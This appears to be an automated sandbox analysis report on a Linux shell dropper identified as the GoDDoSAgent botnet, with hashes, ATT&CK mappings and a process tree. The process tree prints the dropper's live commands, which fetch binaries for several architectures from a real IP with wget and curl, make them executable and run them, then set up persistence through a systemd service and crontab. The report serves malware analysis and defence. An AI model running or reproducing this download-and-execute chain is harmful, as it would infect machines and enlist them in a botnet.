goddosagent | fb6d7ad4169107a4d2181b4a81fc528d29a3e221665f5301823705a5e8781167

Analysis

max time kernel
150s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
14/10/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 2KB
Sample261014-w4emrag161
SHA256 fb6d7ad4169107a4d2181b4a81fc528d29a3e221665f5301823705a5e8781167
MD5 91074cd8c027be18c63dd1d8662aac2a
SHA1 56460e107cda83bca9ac6da74f40e2168243e8e8
SHA512 3d300ca932b27863f3c64b02ebb5c0eec65fc26b444137e3ca43b68d3824215038508e34215bb4fdd2ed34f568de6aafed999f3f61b1c85072d0a6078319025b
TLSH
T1D641A29B236080B3C846DD51FF5418E4D49EE6E3B963DBFCACAC98A3006915CF1A2E50
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery execution goddosagent persistence privilege_escalation

Malware Config

Signatures

Family: GoDDoSAgent
GoDDoSAgent is a Linux botnet written in GoLang.
botnet goddosagent

Detects GoDDoSAgent 3 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_goddosagent
behavioral2/files/fstream-5.dat	family_goddosagent
behavioral2/files/fstream-7.dat	family_goddosagent

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
671	chmod
676	chmod
710	chmod
732	chmod
745	chmod
772	chmod
777	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	672	bins.sh
/tmp/x86	677	bins.sh
/tmp/i386	711	bins.sh
/tmp/i386	733	bins.sh
/tmp/amd64	747	bins.sh
/tmp/amd64	773	bins.sh
/tmp/arm	778	bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.9qC4nf	crontab

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/sysd.service	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/stat	arm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/cron_tmp	arm
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://5.83.136.39:5001/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:645
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/x86
  ./x86
  2⤵
  PID:672
- /bin/rm
  rm -f x86
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://5.83.136.39:5001/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/x86
  ./x86
  2⤵
  PID:677
- /bin/rm
  rm -f x86
  2⤵
  PID:679
- /usr/bin/wget
  wget http://5.83.136.39:5001/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:681
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/i386
  ./i386
  2⤵
  PID:711
- /bin/rm
  rm -f i386
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://5.83.136.39:5001/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/i386
  ./i386
  2⤵
  PID:733
- /bin/rm
  rm -f i386
  2⤵
  PID:735
- /usr/bin/wget
  wget http://5.83.136.39:5001/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/amd64
  ./amd64
  2⤵
  PID:747
- /bin/rm
  rm -f amd64
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://5.83.136.39:5001/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/amd64
  ./amd64
  2⤵
  PID:773
- /bin/rm
  rm -f amd64
  2⤵
  PID:775
- /usr/bin/wget
  wget http://5.83.136.39:5001/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/arm
  ./arm
  2⤵
  - Modifies systemd
  - Write file to user bin folder
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:782
- - /bin/systemctl
    systemctl enable sysd
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:795
- - /bin/systemctl
    systemctl start sysd
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:808
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:810
- - /usr/bin/crontab
    crontab /tmp/cron_tmp
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:813

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysd.service

Path /etc/systemd/system/sysd.service
Size 175B
SHA256 cfad0df157c997fe75b54580ef544beb90f6275851878e1cf3b9a7749e3fab40
MD5 8323ab0ba9ec116e3b66efde6ff75664
SHA1 33960d0a27791cd23fc159c203a7f98d43b233e0
SHA512 e747fdd6381d96958e16a3439e8bd4e3edfe8c117176f5578dc7cd71f971a9e4859585bb6c9c56104e108b6867eaea1b681403586db6e6102cabe66b3b508379
TLSH
T110C0C023762060F0DD4E2C724FA377804E1101440F8DF0304FC1210540D46478038CAD
MD5 SHA1 SHA512 TLSH

Submit Download

amd64

Path /tmp/amd64
Size 4.8MB
SHA256 af22e18ac7f1dcd06e7e6d3c3f4ebf1d8add848f8e172e96d226a65431004806
MD5 ecf25b5c369e997aa1a694a9acaa1ad7
SHA1 79f4bca9cb8a661d0b87b1f7f22e29bdbe103182
SHA512 89b015f8f75e6438c23b3850b430421fac59dc6eab69cd16479c8afbea34132c5d506526bbfbca619d621ecb31c149ffb6a8a57ec3587bb432e97337586c25d3
SSDEEP 49152:ccQFvxTh6Kay9ZdZP5eVjg8pt+VkG+WIWn4CU5LF5Ekt5KUS74nL4O79+umDPQRT:JS6Kthf8pbd1EAyQoC
TLSH
T1BE363957EC9555A9C0EED2308A629252BA717C485F3523D33F60F7382F76BD0AAB9340
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.7MB
SHA256 252156d9c2b892e176aab43351277cc7ebaf07f6d3e97d5ce50011c760139bb4
MD5 9a96751cf030dda70da073467f20ca55
SHA1 2066b909c67d07a1177f848a5a034e0b53e81844
SHA512 5057ea729d28ef21abc43723c7c21ae6be3eeeffcd3116f344ec2d3e872f7b063fb4713c9fae0d201aeb8fa76358b4bba8c6dfb094c311f6a6452ae84929b0e9
SSDEEP 24576:ktVxPlzIACoJiMQf+uF1mbeRjHSwIyFK45ttIyq+snbd7iBFuLIXD2LvFOqxBwEw:mE7TChqX5wd1AGVhS6eOsF
TLSH
T1A4360997B8914A43C4E43676BCBD81C833A34EB99B9753666D04FE3C3ABE1990E35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cron_tmp

Path /tmp/cron_tmp
Size 41B
SHA256 3a13b88885017f3318032aef9d0b829caf810c14f7dfa8440848b458499d0edf
MD5 5d2863a8c3d98587606d4b4fea75ae2c
SHA1 a62d1eb1b286feace3774c8c16a7b14904ccb787
SHA512 e84f3d04cca77b5004637b8d6bea9dc0a307a87e67882d82e2dcc62f5012df99aea96ee6d1135b47a7a98116c0649f14d29d58b4cf9eaa5e658e2965593d33d1
MD5 SHA1 SHA512

Submit Download

x86

Path /tmp/x86
Size 4.7MB
SHA256 f2b142128ec6ea6b017ec15cace0f6f1a4428a7ac9c93899cda06a0201f29df1
MD5 13b1153a5ebab113bc4c12b7158bbc08
SHA1 ff049fca23cba634a2e8925de54a8fb406635e37
SHA512 0e7707967b11031857ccae2f0a9d010fbd2f05dff5f355515fdeda9d31d784751edf532cef6e62a4ebfb2f4c4d5c7185383a9797aa3761e7111a8ea2aefbb2ff
SSDEEP 49152:0uqVbCx/rSvvbzN2DdYu5SdUp2xq9mZzYFqiYFMdk8JHD:rqVhvvuyq1Yq
TLSH
T1E2361850FECB45F6E903193144AFA22F57315D098B24EBC7EA507F2AF97B692193620C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.9qC4nf

Path /var/spool/cron/crontabs/tmp.9qC4nf
Size 228B
SHA256 90583d95b9a4f77cadd57eb04527900662424cb97fc0b4cae84be372ff3bfeac
MD5 e35623ea45619e83ed7159d02e88b59d
SHA1 dfcb5e0c4ada71436178d522398de60d25a100a7
SHA512 f9c004be6477ac58d05ff3a0e49591ffefb2f2a627ea73bc16552901534a59e0857dd39c26bd8351b4428dabb5d764e7dcc301db2a540d16b9f53b4a06113357
TLSH
T115D0233C3F20AC305E000744004B162D4982607D800CBF10F2CCF018021E32F2700E33
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads